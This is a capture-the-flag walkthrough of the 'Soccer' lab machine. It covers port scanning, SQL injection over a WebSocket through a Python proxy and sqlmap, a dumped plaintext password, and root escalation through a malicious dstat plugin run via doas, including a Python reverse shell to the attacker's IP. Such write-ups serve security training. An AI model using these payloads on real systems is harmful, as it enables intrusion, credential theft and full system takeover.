soccer.png

Soccer#

Enum#

# Nmap 7.93 scan initiated Tue Dec 20 22:21:49 2022 as: nmap -sC -sV -oN scans/nmap.initial 10.129.119.124
Nmap scan report for soccer.htb (10.129.119.124)
Host is up (0.32s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
|   256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_  256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Soccer - Index
9091/tcp open  xmltec-xmlmail?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest:
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 139
|     Date: Tue, 20 Dec 2022 22:22:39 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot GET /</pre>
|     </body>
|     </html>
|   HTTPOptions:
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Tue, 20 Dec 2022 22:22:39 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|     </html>
|   RTSPRequest:
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Tue, 20 Dec 2022 22:22:40 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.93%I=7%D=12/20%Time=63A235A8%P=aarch64-unknown-linux-g
SF:nu%r(informix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20
SF:close\r\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnec
SF:tion:\x20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20F
SF:ound\r\nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-
SF:Type-Options:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-
SF:8\r\nContent-Length:\x20139\r\nDate:\x20Tue,\x2020\x20Dec\x202022\x2022
SF::22:39\x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\
SF:x20lang=\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</tit
SF:le>\n</head>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n
SF:")%r(HTTPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Secur
SF:ity-Policy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosn
SF:iff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\
SF:x20143\r\nDate:\x20Tue,\x2020\x20Dec\x202022\x2022:22:39\x20GMT\r\nConn
SF:ection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<hea
SF:d>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\
SF:n<pre>Cannot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,
SF:16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20de
SF:fault-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Ty
SF:pe:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x
SF:20Tue,\x2020\x20Dec\x202022\x2022:22:40\x20GMT\r\nConnection:\x20close\
SF:r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20char
SF:set=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20O
SF:PTIONS\x20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400
SF:\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindRe
SF:qTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n
SF:\r\n")%r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n
SF:Connection:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x
SF:20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Dec 20 22:23:18 2022 -- 1 IP address (1 host up) scanned in 88.63 seconds

SQLi over WebSocket#

There’s a sign up page, we create an account and then sign in, this gives us a ticket and gets us to a page to verify if tickets are valid:
verify.png

Looking at the http history in burp, this looks like the feature isn’t implemented over http but over websocket
switching.png

So we switch to websocket in burp and find that we’re just sending a single key,value pair json dict, and after playing around in the repeater we find it to be vulnerable to SQLi
socket_1.png
socket_2.png

Found this resource online with the folling python server to redirect http traffic into websocket and back, with that we’ll be able to use automated tools such as sqlmap

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://localhost:8156/ws"
ws_server = "ws://soc-player.soccer.htb:9091"

def send_ws(payload):
    ws = create_connection(ws_server)
    # If the server returns a response on connect, use below line   
    #resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
    
    # For our case, format the payload in JSON
    message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
    data = '{"id":"%s"}' % message

    ws.send(data)
    resp = ws.recv()
    ws.close()

    if resp:
        return resp
    else:
        return ''

def middleware_server(host_port,content_type="text/plain"):

    class CustomHandler(SimpleHTTPRequestHandler):
        def do_GET(self) -> None:
            self.send_response(200)
            try:
                payload = urlparse(self.path).query.split('=',1)[1]
            except IndexError:
                payload = False
                
            if payload:
                content = send_ws(payload)
            else:
                content = 'No parameters specified!'

            self.send_header("Content-type", content_type)
            self.end_headers()
            self.wfile.write(content.encode())
            return

    class _TCPServer(TCPServer):
        allow_reuse_address = True

    httpd = _TCPServer(host_port, CustomHandler)
    httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
    middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
    pass
sqlmap -u "http://localhost:8081/?id=" -p id --dbs --risk 3 
sqlmap -u "http://localhost:8081/?id=" -p id --dbs --risk 3 --level 5 --batch
sqlmap -u "http://localhost:8081/?id=" -p id --dbs --risk 3 --level 5 --technique B --random-agent --batch
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
sqlmap -u "http://localhost:8081/?id=" -D soccer_db --tables
Database: soccer_db
[1 table]
+----------+
| accounts |
+----------+
sqlmap -u "http://localhost:8081/?id=" -D soccer_db -T accounts --dump
Database: soccer_db
Table: accounts
[2 entries]
+---------+-------------------+----------------------+----------+
| id      | email             | password             | username |
+---------+-------------------+----------------------+----------+
| 1324    | player@player.htb | PlayerOftheMatch2022 | player   |
| <blank> | <blank>           | <blank>              | <blank>  |
+---------+-------------------+----------------------+----------+

Privesc with doas + dstat plugins#

We have doas as SUID

player@soccer:~$ cd /usr/local/bin/
player@soccer:/usr/local/bin$ ls -la
total 64
drwxr-xr-x  2 root root  4096 Nov 17 09:09 .
drwxr-xr-x 10 root root  4096 Nov 15 21:38 ..
-rwsr-xr-x  1 root root 42224 Nov 17 09:09 doas
-rwxr-xr-x  1 root root  2002 Nov 17 09:09 doasedit
-rwxr-xr-x  1 root root  5471 Nov 17 09:09 vidoas

This is the config file for doas, that’s the equivalent fo sudo -l

cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat

There’s dstat on the box, and because of the doas config we can execute it as root
This means it can be used for privec as mentionned here

player@soccer:/usr/local/share/dstat$ cp /dev/shm/dstat_newt.py .
player@soccer:/usr/local/share/dstat$ cat dstat_newt.py
import os

os.system('chmod +s /bin/bash')

Tried this too, and I get a callback but it dies straight away

import sys,socket,os,pty

RHOST="10.10.14.122"
RPORT=4242

s=socket.socket()
s.connect((RHOST, RPORT))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("bash")

Anyway the bash suid works when called like that with doas

doas -u root /usr/bin/dstat --newt
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
Module dstat_newt failed to load. (name 'dstat_plugin' is not defined)
None of the stats you selected are available.
player@soccer:/usr/local/share/dstat$ ls -lart /bin/bash
srwxr-sr-x 1 root root 1183448 Apr 18  2022 /bin/bash